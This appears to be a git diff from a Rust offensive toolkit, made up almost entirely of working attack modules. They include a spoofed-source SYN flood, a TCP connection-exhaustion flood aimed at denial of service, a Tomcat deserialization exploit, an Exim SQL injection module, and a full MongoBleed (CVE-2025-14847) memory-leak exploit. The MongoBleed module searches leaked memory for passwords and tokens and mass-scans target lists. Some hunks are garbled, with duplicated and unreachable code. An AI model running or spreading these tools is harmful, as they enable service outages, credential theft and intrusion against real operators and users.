println!("\n\n{}", "=== Attack Complete ===".green().bold());
println!(" Duration: {:.2}s", elapsed_secs);
println!(" Total Packets: {}", total_pkts);
println!(" Total Data: {} KB", total_bytes / 1024);
println!(" Avg Rate: {:.1} pkt/s", total_pkts as f64 / elapsed.as_secs_f64());
println!(" Total Data: {:.2} MB", total_bytes as f64 / (1024.0 * 1024.0));
Ok(())
}
async fn run_stream(
_stream_id: usize,
config: &ExhaustionConfig,
stop: Arc<AtomicBool>,
packets: Arc<AtomicU64>,
bytes: Arc<AtomicU64>,
start: Instant,
duration: Duration,
) -> Result<()> {
// Create raw socket
let socket = Socket::new(
Domain::IPV4,
Type::RAW,
Some(Protocol::from(libc::IPPROTO_RAW)),
).context("Failed to create raw socket")?;
socket.set_header_included_v4(true)
.context("Failed to set IP_HDRINCL")?;
// Prepare null-byte payload
let null_payload = vec![0u8; config.payload_size];
while !stop.load(Ordering::Relaxed) && start.elapsed() < duration {
// Generate source IP
let src_ip = if config.use_random_source_ip {
generate_random_ipv4()
} else {
get_local_ipv4().unwrap_or_else(|| Ipv4Addr::new(127, 0, 0, 1))
};
// Generate source port
let src_port = config.source_port.unwrap_or_else(|| {
rand::rng().random_range(49152..=65535)
});
// Craft and send SYN packet with null payload
match send_syn_packet(&socket, src_ip, src_port, config.target_ip, config.target_port, &null_payload) {
Ok(sent) => {
packets.fetch_add(1, Ordering::Relaxed);
bytes.fetch_add(sent as u64, Ordering::Relaxed);
}
Err(_) => {
// Continue on errors
}
}
// Apply interval delay
match &config.interval_mode {
IntervalMode::Zero => {
// Yield to allow other tasks
tokio::task::yield_now().await;
}
IntervalMode::Delay(ms) => {
tokio::time::sleep(Duration::from_millis(*ms)).await;
}
}
if elapsed_secs > 0.0 {
println!(" Avg Rate: {:.0} pkt/s", total_pkts as f64 / elapsed_secs);
println!(" Avg Bandwidth: {:.2} Mbps", (total_bytes as f64 * 8.0) / (elapsed_secs * 1_000_000.0));
}
Ok(())
}
fn send_syn_packet(
socket: &Socket,
src_ip: Ipv4Addr,
src_port: u16,
dst_ip: Ipv4Addr,
dst_port: u16,
payload: &[u8],
) -> Result<usize> {
// TCP header + payload
let tcp_header_len = 20;
let tcp_total_len = tcp_header_len + payload.len();
let mut tcp_buf = vec![0u8; tcp_total_len];
{
let mut tcp_pkt = MutableTcpPacket::new(&mut tcp_buf[..tcp_header_len])
.ok_or_else(|| anyhow!("Failed to create TCP packet"))?;
let seq_num: u32 = rand::rng().random();
tcp_pkt.set_source(src_port);
tcp_pkt.set_destination(dst_port);
tcp_pkt.set_sequence(seq_num);
tcp_pkt.set_acknowledgement(0);
tcp_pkt.set_data_offset(5);
tcp_pkt.set_flags(TcpFlags::SYN);
tcp_pkt.set_window(65535);
tcp_pkt.set_urgent_ptr(0);
// Checksum (without payload for header)
let tcp_immutable = tcp_pkt.to_immutable();
tcp_pkt.set_checksum(tcp::ipv4_checksum(&tcp_immutable, &src_ip, &dst_ip));
}
// Copy payload after TCP header
tcp_buf[tcp_header_len..].copy_from_slice(payload);
// IP header
const IPV4_HEADER_LEN: usize = 20;
let total_len = (IPV4_HEADER_LEN + tcp_total_len) as u16;
let mut ip_buf = vec![0u8; total_len as usize];
{
let mut ip_pkt = MutableIpv4Packet::new(&mut ip_buf)
.ok_or_else(|| anyhow!("Failed to create IP packet"))?;
let ip_id: u16 = rand::rng().random();
ip_pkt.set_version(4);
ip_pkt.set_header_length(5);
ip_pkt.set_total_length(total_len);
ip_pkt.set_identification(ip_id);
ip_pkt.set_ttl(64);
ip_pkt.set_next_level_protocol(IpNextHeaderProtocols::Tcp);
ip_pkt.set_source(src_ip);
ip_pkt.set_destination(dst_ip);
ip_pkt.set_flags(ipv4::Ipv4Flags::DontFragment);
ip_pkt.set_payload(&tcp_buf);
ip_pkt.set_checksum(ipv4::checksum(&ip_pkt.to_immutable()));
}
// Send
let dst_addr = SocketAddr::new(IpAddr::V4(dst_ip), 0);
let sent = socket.send_to(&ip_buf, &dst_addr.into())
.context("Failed to send packet")?;
Ok(sent)
}
fn generate_random_ipv4() -> Ipv4Addr {
let mut rng = rand::rng();
loop {
let a: u8 = rng.random_range(1..=254);
let b: u8 = rng.random();
let c: u8 = rng.random();
let d: u8 = rng.random_range(1..=254);
// Avoid private/reserved ranges
if a == 10 || a == 127 || (a == 172 && (16..=31).contains(&b)) || (a == 192 && b == 168) {
continue;
}
return Ipv4Addr::new(a, b, c, d);
}
}
fn get_local_ipv4() -> Option<Ipv4Addr> {
// Try to get local IP by connecting to a known address
use std::net::UdpSocket;
let socket = UdpSocket::bind("0.0.0.0:0").ok()?;
socket.connect("8.8.8.8:80").ok()?;
let addr = socket.local_addr().ok()?;
match addr.ip() {
match socket.local_addr().ok()?.ip() {
IpAddr::V4(ip) => Some(ip),
_ => None,
}
}
}
@@ -0,0 +1,253 @@
use anyhow::{Result, anyhow, Context};
use colored::*;
use tokio::io::AsyncWriteExt; // Required for stream.shutdown()
use std::sync::atomic::{AtomicBool, AtomicU64, Ordering};
use std::sync::Arc;
use std::time::Duration;
use std::net::SocketAddr;
use tokio::net::TcpStream;
use tokio::time::Instant;
use crate::utils::{
normalize_target, prompt_default, prompt_port, prompt_required, prompt_yes_no,
};
/// Configuration for the connection flood
#[derive(Clone, Debug)]
struct TcpFloodConfig {
target_addr: String, // Host:Port (Display only)
resolved_addrs: Vec<SocketAddr>, // Pre-resolved addresses
concurrent_connections: usize,
duration_secs: u64,
timeout_ms: u64,
verbose: bool,
}
/// Entry point for the module
pub async fn run(initial_target: &str) -> Result<()> {
print_banner();
let config = setup_wizard(initial_target).await?;
execute_flood(&config).await
}
fn print_banner() {
println!("{}", r#"
TCP Connection Flood (Connect & Drop)
High-Performance Handshake Exhaustion
"#.red().bold());
}
async fn setup_wizard(initial_target: &str) -> Result<TcpFloodConfig> {
println!("{}", "=== Configuration ===".blue().bold());
// Target
let target_input = if initial_target.trim().is_empty() {
prompt_required("Target Host/IP")?
} else {
println!("{}", format!("[*] Using target: {}", initial_target).cyan());
initial_target.to_string()
};
// Normalize and extract details
let normalized = normalize_target(&target_input)?;
// If normalized already has port, use it, else ask
let (host, port) = if let Some((h, p)) = normalized.split_once(':') {
let parsed_port = p.parse::<u16>()
.map_err(|_| anyhow!("Invalid port '{}' in target", p))?;
(h.to_string(), parsed_port)
} else {
let p = prompt_port("Target Port", 80)?;
(normalized, p)
};
let target_addr = format!("{}:{}", host, port);
// Pre-resolve DNS
println!("{}", format!("[*] Resolving {}...", target_addr).yellow());
let resolved_addrs: Vec<SocketAddr> = tokio::net::lookup_host(&target_addr).await
.context("Failed to resolve target hostname")?
.collect();
if resolved_addrs.is_empty() {
return Err(anyhow!("Could not resolve target address"));
}
println!("{}", format!("[+] Resolved to: {:?}", resolved_addrs).green());
// Concurrency
let concurrency_input = prompt_default("Concurrent Connections", "500")?;
let concurrent_connections: usize = concurrency_input.parse()
.map_err(|_| anyhow!("Invalid number for concurrency"))?;
if concurrent_connections == 0 {
return Err(anyhow!("Concurrency must be > 0"));
}
// Timeout
let timeout_input = prompt_default("Connection Timeout (ms)", "1000")?;
let timeout_ms: u64 = timeout_input.parse()
.map_err(|_| anyhow!("Invalid timeout"))?;
let verbose = prompt_yes_no("Verbose Output (show errors)?", false)?;
// Duration
let duration_input = prompt_default("Duration (seconds, 0 = infinite)", "60")?;
let duration_secs: u64 = duration_input.parse()
.map_err(|_| anyhow!("Invalid duration"))?;
println!("\n{}", "=== Attack Summary ===".bold());
println!(" Target: {}", target_addr.cyan());
println!(" IP(s): {:?}", resolved_addrs);
println!(" Concurrency: {}", concurrent_connections);
println!(" Duration: {}", if duration_secs == 0 {
"INFINITE (Ctrl+C to stop)".to_string()
} else {
format!("{}s", duration_secs)
});
println!(" Mode: Connect & Drop (Handshake Stress)");
if !prompt_yes_no("Start Attack?", true)? {
return Err(anyhow!("Attack cancelled by user"));
}
Ok(TcpFloodConfig {
target_addr,
resolved_addrs,
concurrent_connections,
duration_secs,
timeout_ms,
verbose,
})
}
async fn execute_flood(config: &TcpFloodConfig) -> Result<()> {
println!("\n{}", "[*] Starting TCP Connection Flood...".yellow().bold());
let stop_flag = Arc::new(AtomicBool::new(false));
let stats_established = Arc::new(AtomicU64::new(0));
let stats_failed = Arc::new(AtomicU64::new(0));
let start_time = Instant::now();
let duration = Duration::from_secs(config.duration_secs);
let timeout_duration = Duration::from_millis(config.timeout_ms);
// Use the first resolved address for speed/simplicity
// In a more complex version, we could round-robin, but for DoS, hitting one IP hard is usually the goal.
let target_ip = config.resolved_addrs[0];
// Stats Printer
let s_stop = stop_flag.clone();
let s_est = stats_established.clone();
let s_fail = stats_failed.clone();
let s_start = start_time;
let stats_handle = tokio::spawn(async move {
while !s_stop.load(Ordering::Relaxed) {
tokio::time::sleep(Duration::from_secs(1)).await;
let est = s_est.load(Ordering::Relaxed);
let fail = s_fail.load(Ordering::Relaxed);
let elapsed = s_start.elapsed().as_secs_f64().max(0.001);
let rate = est as f64 / elapsed;
print!("\r{}", format!(
"[*] Connected: {} | Failed: {} | Rate: {:.1} conn/s",
est, fail, rate
).dimmed());
use std::io::Write;
let _ = std::io::stdout().flush();
}
});
// Fixed Pool of Workers
let mut handles = Vec::with_capacity(config.concurrent_connections);
for _ in 0..config.concurrent_connections {
let stop = stop_flag.clone();
let est = stats_established.clone();
let fail = stats_failed.clone();
let cfg_timeout = timeout_duration;
let verbose = config.verbose;
let target = target_ip; // SocketAddr is Copy, so this is cheap and efficient
let handle = tokio::spawn(async move {
let mut err_counter = 0u64;
while !stop.load(Ordering::Relaxed) {
// Try to connect using the pre-resolved IP
// This skips DNS resolution on every attempt
match tokio::time::timeout(cfg_timeout, TcpStream::connect(target)).await {
Ok(Ok(mut stream)) => {
// Connected!
est.fetch_add(1, Ordering::Relaxed);
// "Connect & Drop" - Immediate shutdown sends FIN
let _ = stream.shutdown().await;
}
Ok(Err(e)) => {
// Connection failed (refused, network unreachable, etc.)
fail.fetch_add(1, Ordering::Relaxed);
if verbose {
err_counter = err_counter.wrapping_add(1);
// Log ~0.1% of errors
if err_counter % 1000 == 0 {
eprintln!("\n[!] Conn Error: {}", e);
}
}
}
Err(_) => {
// Timeout
fail.fetch_add(1, Ordering::Relaxed);
}
}
// No sleep - max speed
}
});
handles.push(handle);
}
// Wait for duration or Ctrl+C
if config.duration_secs > 0 {
tokio::time::sleep(duration).await;
} else {
println!(
"\n{}",
"[*] Running indefinitely. Press Ctrl+C to stop.".yellow()
);
let _ = tokio::signal::ctrl_c().await;
}
stop_flag.store(true, Ordering::Relaxed);
// Return cursor to new line after stats
println!();
println!("{}", "[*] Stopping threads...".yellow());
// Wait for workers to finish (graceful shutdown)
// In a massive flood, we might not strictly wait for all if they are hung, but with timeout they should finish.
// We can just detach them or await them. Awaiting ensures clean exit.
for h in handles {
let _ = h.await;
}
// Stop stats thread
let _ = stats_handle.await;
// Final Report
let total_est = stats_established.load(Ordering::Relaxed);
let total_fail = stats_failed.load(Ordering::Relaxed);
let elapsed = start_time.elapsed().as_secs_f64();
println!("\n{}", "=== Attack Complete ===".green().bold());
println!("Target: {}", config.target_addr);
println!("Duration: {:.2}s", elapsed);
println!("Total Connections: {}", total_est);
println!("Failed Attempts: {}", total_fail);
if elapsed > 0.0 {
println!("Average Rate: {:.1} conn/s", total_est as f64 / elapsed);
}
Ok(())
}
@@ -1,11 +1,11 @@
use anyhow::{bail, Context, Result};
use crate::utils::validate_command_input;
use anyhow::{bail, Result};
use crate::utils::{validate_command_input, normalize_target, prompt_default, prompt_port};
use regex::Regex;
use reqwest::{Client, StatusCode};
use std::path::Path;
use std::process::{Command, Stdio};
use std::time::Duration;
use std::io::Write;
use tokio::fs::{read, remove_file};
const BANNER: &str = r#"
@@ -17,33 +17,7 @@ const BANNER: &str = r#"
"#;
/// // Sanitize IPv6 URL
fn sanitize_target(raw: &str) -> String {
let fixed = raw.replace("[[", "[").replace("]]", "]");
if fixed.starts_with("http://") || fixed.starts_with("https://") {
fixed
} else {
format!("http://{}", fixed)
}
}
/// Prompt helper with proper error handling
async fn prompt(message: &str, default: Option<&str>) -> Result<String> {
print!("{}{}: ", message, default.map_or("".to_string(), |d| format!(" [{}]", d)));
std::io::stdout()
.flush()
.context("Failed to flush stdout")?;
let mut buf = String::new();
std::io::stdin()
.read_line(&mut buf)
.context("Failed to read user input")?;
let input = buf.trim();
if input.is_empty() {
Ok(default.unwrap_or("").to_string())
} else {
Ok(input.to_string())
}
}
/// // Check if server is writable
async fn check_writable_servlet(client: &Client, target_url: &str, host: &str, port: &str) -> Result<bool> {
@@ -254,11 +228,13 @@ async fn execute_exploit(
pub async fn run(target: &str) -> Result<()> {
println!("{BANNER}");
let mut target = sanitize_target(target);
let scheme = if target.starts_with("https://") { "https" } else { "http" };
let normalized = normalize_target(target)?;
let mut target = format!("{}://{}", scheme, normalized);
println!("[+] Target sanitized: {}", target);
let mut command = String::from("calc.exe");
let mut port = prompt("Enter port (default 8080)", Some("8080")).await?;
let mut port = prompt_port("Enter port", 8080)?.to_string();
println!("[+] Default port set to {}", port);
let mut ysoserial_path = String::from("ysoserial.jar");
@@ -282,30 +258,34 @@ pub async fn run(target: &str) -> Result<()> {
"#
);
let selection = prompt("Select an option", None).await?;
let selection = prompt_default("Select an option", "")?;
match selection.as_str() {
"1" => {
target = prompt("Enter target URL", Some(&target)).await?;
let raw_input = prompt_default("Enter target URL", &target)?;
let scheme = if raw_input.starts_with("https://") { "https" } else { "http" };
let normalized = normalize_target(&raw_input)?;
target = format!("{}://{}", scheme, normalized);
println!("[+] Target updated: {target}");
}
"2" => {
command = prompt("Enter command to execute", Some(&command)).await?;
command = prompt_default("Enter command to execute", &command)?;
println!("[+] Command set: {command}");
}
"3" => {
port = prompt("Enter port", Some(&port)).await?;
let p_u16 = prompt_port("Enter port", port.parse().unwrap_or(8080))?;
port = p_u16.to_string();
println!("[+] Port set: {port}");
}
"4" => {
ysoserial_path = prompt("Path to ysoserial.jar", Some(&ysoserial_path)).await?;
ysoserial_path = prompt_default("Path to ysoserial.jar", &ysoserial_path)?;
println!("[+] ysoserial path set: {ysoserial_path}");
}
"5" => {
gadget = prompt("Enter gadget", Some(&gadget)).await?;
gadget = prompt_default("Enter gadget", &gadget)?;
println!("[+] Gadget set: {gadget}");
}
"6" => {
payload_type = prompt("Payload type (ysoserial/java)", Some(&payload_type)).await?;
payload_type = prompt_default("Payload type (ysoserial/java)", &payload_type)?;
if payload_type != "ysoserial" && payload_type != "java" {
println!("[-] Invalid type. Only 'ysoserial' or 'java' supported.");
payload_type = "ysoserial".into();
@@ -4,7 +4,7 @@ use tokio::net::TcpStream;
use tokio::io::{AsyncReadExt, AsyncWriteExt};
use std::time::Duration;
use tokio::time::Instant;
use crate::utils::{prompt_required, normalize_target, prompt_default};
use crate::utils::{prompt_required, normalize_target, prompt_port};
/// Exim ETRN SQL Injection (CVE-2025-26794)
///
@@ -22,8 +22,7 @@ pub async fn run(target: &str) -> Result<()> {
let target_ip = normalize_target(&raw_ip)?;
// User requested port selection. Default is 25.
let port_str = prompt_default("Target Port", "25")?;
let port: u16 = port_str.parse().context("Invalid port")?;
let port: u16 = prompt_port("Target Port", 25)?;
println!("{} Target: {}:{}", "[*]".blue(), target_ip, port);
@@ -258,7 +258,6 @@ async fn start_interactive_file_read(state: ExploitState) -> Result<()> {
println!("{}", "Press Ctrl+C to exit".cyan());
let stdin = std::io::stdin();
let mut stdin_reader = stdin.lock();
loop {
print!("{}", "File to download:\n> ".green().bold());
std::io::stdout()
@@ -266,36 +265,39 @@ async fn start_interactive_file_read(state: ExploitState) -> Result<()> {
.context("Failed to flush stdout")?;
let mut input = String::new();
match stdin_reader.read_line(&mut input) {
Ok(0) => break,
Ok(_) => {
let filepath = input.trim();
if filepath.is_empty() {
continue;
}
let absolute_path = match make_path_absolute(filepath) {
Ok(path) => path,
Err(e) => {
println!("{}", format!("[-] Invalid file path: {}", e).red());
continue;
}
};
match state.read_file(&absolute_path).await {
Ok(_) => {}
Err(e) => {
if e.to_string().contains("timeout") {
println!("{}", "Payload request timed out.".yellow());
} else {
println!("{}", format!("Error: {}", e).red());
}
}
{
let mut stdin_reader = stdin.lock();
match stdin_reader.read_line(&mut input) {
Ok(0) => break,
Ok(_) => {},
Err(e) => {
eprintln!("Error reading input: {}", e);
break;
}
}
}
let filepath = input.trim();
if filepath.is_empty() {
continue;
}
let absolute_path = match make_path_absolute(filepath) {
Ok(path) => path,
Err(e) => {
eprintln!("Error reading input: {}", e);
break;
println!("{}", format!("[-] Invalid file path: {}", e).red());
continue;
}
};
match state.read_file(&absolute_path).await {
Ok(_) => {}
Err(e) => {
if e.to_string().contains("timeout") {
println!("{}", "Payload request timed out.".yellow());
} else {
println!("{}", format!("Error: {}", e).red());
}
}
}
}
+7
View File
@@ -0,0 +1,7 @@
pub mod apache_tomcat;
pub mod nginx;
pub mod php;
pub mod jenkins;
pub mod exim;
pub mod mongo;
pub mod http2;
@@ -0,0 +1,640 @@
//! MongoBleed Exploit (CVE-2025-14847)
//!
//! Exploits a zlib decompression bug in MongoDB Server to leak uninitialized
//! heap memory via BSON field names.
//!
//! ## Vulnerability Details
//! - **CVE**: CVE-2025-14847 (CVSS: 8.7 Critical)
//! - **Affected**: MongoDB Server v7.0 < 7.0.28, v8.0 < 8.0.17, v8.2
//! - **Attack Vector**: Pre-authentication memory disclosure
//! - **Impact**: Credential theft, session token leakage, data exfiltration
//!
//! ## How It Works
//! MongoDB miscalculates decompression lengths when processing malformed
//! zlib-compressed messages. This causes the server to return uninitialized
//! memory in its responses, similar to "Heartbleed" in OpenSSL.
//!
//! ## References
//! - Original PoC: https://github.com/joe-desimone/mongobleed
//! - MongoDB Advisory: https://www.mongodb.com/docs/manual/release-notes/
//!
//! For authorized penetration testing only.
use anyhow::{Context, Result};
use colored::*;
use flate2::write::ZlibEncoder;
use flate2::Compression;
use regex::bytes::Regex;
use std::collections::HashSet;
use std::fs::File;
use std::io::{Read, Write};
use std::sync::atomic::{AtomicUsize, Ordering};
use std::sync::Arc;
use tokio::io::{AsyncReadExt, AsyncWriteExt};
use tokio::net::TcpStream;
use tokio::sync::Semaphore;
use tokio::time::{timeout, Duration};
use crate::utils::{normalize_target, prompt_default, prompt_int_range, prompt_yes_no};
const DEFAULT_PORT: u16 = 27017;
const DEFAULT_MIN_OFFSET: u32 = 20;
const DEFAULT_MAX_OFFSET: u32 = 8192;
const DEEP_SCAN_MAX_OFFSET: u32 = 50000;
const CONNECT_TIMEOUT_SECS: u64 = 3;
const READ_TIMEOUT_SECS: u64 = 2;
const MAX_CONCURRENT_SCANS: usize = 10;
/// Display module banner
fn display_banner() {
println!(
"{}",
"╔═══════════════════════════════════════════════════════════╗".cyan()
);
println!(
"{}",
"║ MongoBleed (CVE-2025-14847) ║".cyan()
);
println!(
"{}",
"║ MongoDB Memory Disclosure - Pre-Auth Exploitation ║".cyan()
);
println!(
"{}",
"║ CVSS: 8.7 (Critical) - Active Exploitation in Wild ║".cyan()
);
println!(
"{}",
"╚═══════════════════════════════════════════════════════════╝".cyan()
);
}
/// Scan mode selection
#[derive(Clone, Copy, PartialEq)]
enum ScanMode {
VulnCheck, // Quick check if vulnerable
QuickScan, // Fast scan with default offsets
DeepScan, // Extended scan for more data
CustomScan, // User-defined offset range
}
/// Configuration for the exploit
struct ExploitConfig {
min_offset: u32,
max_offset: u32,
port: u16,
mode: ScanMode,
output_file: String,
}
impl Default for ExploitConfig {
fn default() -> Self {
Self {
min_offset: DEFAULT_MIN_OFFSET,
max_offset: DEFAULT_MAX_OFFSET,
port: DEFAULT_PORT,
mode: ScanMode::QuickScan,
output_file: "leaked_mongo_data.bin".to_string(),
}
}
}
/// Main entry point
pub async fn run(target: &str) -> Result<()> {
display_banner();
println!("{}", format!("[*] Target: {}", target).yellow());
println!();
// Check if target is a file (mass scan mode)
if target.ends_with(".txt") {
return run_mass_scan(target).await;
}
// Normalize and parse target
let normalized = normalize_target(target)?;
// Prompt for configuration
let config = prompt_config().await?;
// Build target address
let target_addr = if normalized.contains(':') {
normalized
} else {
format!("{}:{}", normalized, config.port)
};
println!();
println!("{}", format!("[*] Target address: {}", target_addr).cyan());
println!(
"{}",
format!(
"[*] Offset range: {} - {}",
config.min_offset, config.max_offset
)
.cyan()
);
// Run the exploit
match config.mode {
ScanMode::VulnCheck => run_vuln_check(&target_addr).await,
_ => run_exploit(&target_addr, &config).await,
}
}
/// Prompt user for configuration
async fn prompt_config() -> Result<ExploitConfig> {
let mut config = ExploitConfig::default();
println!("{}", "[*] Select scan mode:".cyan());
println!(" {} Quick vulnerability check (fast)", "1.".bold());
println!(" {} Quick scan (offsets 20-8192)", "2.".bold());
println!(" {} Deep scan (offsets 20-50000, slower)", "3.".bold());
println!(" {} Custom range", "4.".bold());
println!();
let choice = prompt_int_range("Select option", 2, 1, 4)?;
config.mode = match choice {
1 => ScanMode::VulnCheck,
2 => ScanMode::QuickScan,
3 => {
config.max_offset = DEEP_SCAN_MAX_OFFSET;
ScanMode::DeepScan
}
4 => {
config.min_offset = prompt_int_range("Min offset", DEFAULT_MIN_OFFSET as i64, 1, 65535)? as u32;
config.max_offset = prompt_int_range("Max offset", DEFAULT_MAX_OFFSET as i64, config.min_offset as i64, 100000)? as u32;
ScanMode::CustomScan
}
_ => ScanMode::QuickScan,
};
// Port configuration
let port_str = prompt_default("MongoDB port", "27017")?;
config.port = port_str.parse().unwrap_or(DEFAULT_PORT);
// Output file
config.output_file = prompt_default("Output file", "leaked_mongo_data.bin")?;
Ok(config)
}
/// Quick vulnerability check
async fn run_vuln_check(target_addr: &str) -> Result<()> {
println!();
println!("{}", "[*] Running quick vulnerability check...".cyan());
// Test a few offsets to see if we get memory leaks
let test_offsets = [100, 500, 1000, 2000];
let mut vulnerable = false;
for &offset in &test_offsets {
match send_probe(target_addr, offset, offset + 500).await {
Ok(leaks) => {
if !leaks.is_empty() {
vulnerable = true;
println!(
"{}",
format!("[+] Leak detected at offset {}: {} bytes", offset, leaks.iter().map(|l| l.len()).sum::<usize>())
.green()
.bold()
);
break;
}
}
Err(e) => {
println!("{}", format!("[-] Connection error: {}", e).red());
return Ok(());
}
}
}
println!();
if vulnerable {
println!(
"{}",
"[VULNERABLE] Target appears vulnerable to CVE-2025-14847!"
.red()
.bold()
);
println!(
"{}",
"[*] Run a full scan to extract memory data.".yellow()
);
} else {
println!(
"{}",
"[NOT VULNERABLE] No memory leaks detected.".green()
);
println!(
"{}",
"[*] Target may be patched or not a MongoDB server.".dimmed()
);
}
Ok(())
}
/// Run full exploit with memory extraction
async fn run_exploit(target_addr: &str, config: &ExploitConfig) -> Result<()> {
println!();
println!(
"{}",
format!(
"[*] Starting scan (offsets {}-{})...",
config.min_offset, config.max_offset
)
.cyan()
);
let mut all_leaked = Vec::new();
let mut unique_leaks: HashSet<Vec<u8>> = HashSet::new();
let total_offsets = config.max_offset - config.min_offset;
let mut last_progress = 0;
// Secrets to search for
let secrets = [
"password", "secret", "key", "token", "admin", "AKIA", "root",
"auth", "credential", "apikey", "api_key", "session",
];
let mut found_secrets: HashSet<String> = HashSet::new();
for doc_len in config.min_offset..config.max_offset {
// Progress indicator (every 5%)
let progress = ((doc_len - config.min_offset) * 100 / total_offsets) as usize;
if progress >= last_progress + 5 {
last_progress = progress;
print!("\r{}", format!("[*] Progress: {}%", progress).cyan());
std::io::stdout().flush().ok();
}
match send_probe(target_addr, doc_len, doc_len + 500).await {
Ok(leaks) => {
for data in leaks {
if !unique_leaks.contains(&data) {
unique_leaks.insert(data.clone());
all_leaked.extend_from_slice(&data);
// Check for secrets
let data_str = String::from_utf8_lossy(&data).to_lowercase();
for s in &secrets {
if data_str.contains(s) && !found_secrets.contains(*s) {
found_secrets.insert(s.to_string());
}
}
// Show interesting leaks (> 10 bytes)
if data.len() > 10 {
let preview = String::from_utf8_lossy(&data).replace('\n', "\\n");
let preview_trunk: String = preview.chars().take(80).collect();
println!(
"\r{}",
format!(
"[+] offset={:5} len={:4}: {}",
doc_len,
data.len(),
preview_trunk
)
.magenta()
);
}
}
}
}
Err(_) => {
// Connection errors are common during exploitation, continue
}
}
}
println!("\r{}", " ".repeat(40)); // Clear progress line
// Save results
let mut f = File::create(&config.output_file).context("Failed to create output file")?;
f.write_all(&all_leaked)?;
// Print summary
println!();
println!("{}", "═══════════════════════════════════════════════════════════".cyan());
println!("{}", " SCAN RESULTS ".cyan().bold());
println!("{}", "═══════════════════════════════════════════════════════════".cyan());
println!(
"{}",
format!("[*] Total leaked: {} bytes", all_leaked.len()).yellow()
);
println!(
"{}",
format!("[*] Unique fragments: {}", unique_leaks.len()).yellow()
);
println!(
"{}",
format!("[*] Saved to: {}", config.output_file).green()
);
// Show found secrets
if !found_secrets.is_empty() {
println!();
println!("{}", "[!] SENSITIVE PATTERNS FOUND:".red().bold());
for s in &found_secrets {
println!("{}", format!("{}", s).red());
}
println!(
"{}",
"[!] Manual review of leaked data recommended!".yellow()
);
}
// Recommendations
println!();
println!("{}", "[*] Recommendations:".cyan());
println!(" • Review leaked.bin for credentials");
println!(" • Search for: strings leaked_mongo_data.bin | grep -i password");
println!(" • Rotate any exposed credentials immediately");
Ok(())
}
/// Mass scan mode - scan multiple targets from file
async fn run_mass_scan(file_path: &str) -> Result<()> {
println!();
println!("{}", format!("[*] Mass scan mode: {}", file_path).cyan());
// Read targets from file
let content = match tokio::fs::read_to_string(file_path).await {
Ok(c) => c,
Err(e) => {
eprintln!("{}", format!("[!] Failed to read file: {}", e).red());
return Ok(());
}
};
let targets: Vec<String> = content
.lines()
.map(|s| s.trim().to_string())
.filter(|s| !s.is_empty() && !s.starts_with('#'))
.collect();
if targets.is_empty() {
println!("{}", "[-] No targets found in file".red());
return Ok(());
}
println!(
"{}",
format!("[*] Loaded {} targets", targets.len()).yellow()
);
let deep_scan = prompt_yes_no("Run deep scan on vulnerable targets?", false)?;
let semaphore = Arc::new(Semaphore::new(MAX_CONCURRENT_SCANS));
let vulnerable_count = Arc::new(AtomicUsize::new(0));
let scanned_count = Arc::new(AtomicUsize::new(0));
let total = targets.len();
let mut handles = Vec::new();
for target in targets {
let permit = semaphore.clone().acquire_owned().await?;
let vuln_count = vulnerable_count.clone();
let scan_count = scanned_count.clone();
let handle = tokio::spawn(async move {
let _permit = permit;
// Normalize target
let target_addr = if target.contains(':') {
target.clone()
} else {
format!("{}:{}", target, DEFAULT_PORT)
};
// Quick vuln check
let mut is_vulnerable = false;
for offset in [100, 500, 1000] {
if let Ok(leaks) = send_probe(&target_addr, offset, offset + 500).await {
if !leaks.is_empty() {
is_vulnerable = true;
break;
}
}
}
scan_count.fetch_add(1, Ordering::SeqCst);
let progress = scan_count.load(Ordering::SeqCst);
if is_vulnerable {
vuln_count.fetch_add(1, Ordering::SeqCst);
println!(
"{}",
format!("[VULN] {} - CVE-2025-14847", target_addr)
.red()
.bold()
);
} else {
println!(
"{}",
format!("[SAFE] {} ({}/{})", target_addr, progress, total).dimmed()
);
}
(target_addr, is_vulnerable)
});
handles.push(handle);
}
// Wait for all scans
let mut vulnerable_targets = Vec::new();
for handle in handles {
if let Ok((addr, vuln)) = handle.await {
if vuln {
vulnerable_targets.push(addr);
}
}
}
// Summary
println!();
println!("{}", "═══════════════════════════════════════════════════════════".cyan());
println!(
"{}",
format!(
"[*] Scan complete: {}/{} vulnerable",
vulnerable_count.load(Ordering::SeqCst),
total
)
.yellow()
);
// Save vulnerable targets
if !vulnerable_targets.is_empty() {
let output = "vulnerable_mongodb.txt";
let mut f = File::create(output)?;
for t in &vulnerable_targets {
writeln!(f, "{}", t)?;
}
println!(
"{}",
format!("[*] Vulnerable targets saved to: {}", output).green()
);
// Deep scan if requested
if deep_scan {
println!();
println!("{}", "[*] Running deep scan on vulnerable targets...".cyan());
for target in vulnerable_targets {
let config = ExploitConfig {
min_offset: DEFAULT_MIN_OFFSET,
max_offset: DEEP_SCAN_MAX_OFFSET,
port: DEFAULT_PORT,
mode: ScanMode::DeepScan,
output_file: format!("leaked_{}.bin", target.replace(':', "_")),
};
println!();
println!("{}", format!("[*] Deep scanning: {}", target).yellow());
let _ = run_exploit(&target, &config).await;
}
}
}
Ok(())
}
/// Send a probe packet and extract leaks
async fn send_probe(addr: &str, doc_len: u32, buffer_size: u32) -> Result<Vec<Vec<u8>>> {
// 1. Construct the malicious BSON payload
// content = b'\x10a\x00\x01\x00\x00\x00' # int32 a=1
let content = b"\x10a\x00\x01\x00\x00\x00";
let mut bson = Vec::new();
bson.extend_from_slice(&doc_len.to_le_bytes()); // inflated doc_len
bson.extend_from_slice(content);
// 2. Wrap in OP_MSG (Code 2013)
let mut op_msg = Vec::new();
op_msg.extend_from_slice(&0u32.to_le_bytes()); // flagBits
op_msg.push(0x00); // sectionKind
op_msg.extend_from_slice(&bson);
// 3. Compress using zlib
let mut encoder = ZlibEncoder::new(Vec::new(), Compression::default());
encoder.write_all(&op_msg)?;
let compressed = encoder.finish()?;
// 4. Create OP_COMPRESSED (Code 2012) payload
let mut payload = Vec::new();
payload.extend_from_slice(&2013u32.to_le_bytes()); // originalOpcode
payload.extend_from_slice(&buffer_size.to_le_bytes()); // uncompressedSize
payload.push(2); // zlib ID
payload.extend_from_slice(&compressed);
// 5. Create Header
let msg_length = 16 + payload.len() as u32;
let mut header = Vec::new();
header.extend_from_slice(&msg_length.to_le_bytes());
header.extend_from_slice(&1u32.to_le_bytes()); // requestID
header.extend_from_slice(&0u32.to_le_bytes()); // responseTo
header.extend_from_slice(&2012u32.to_le_bytes()); // opCode (OP_COMPRESSED)
// Connect with timeout
let mut stream = timeout(
Duration::from_secs(CONNECT_TIMEOUT_SECS),
TcpStream::connect(addr),
)
.await
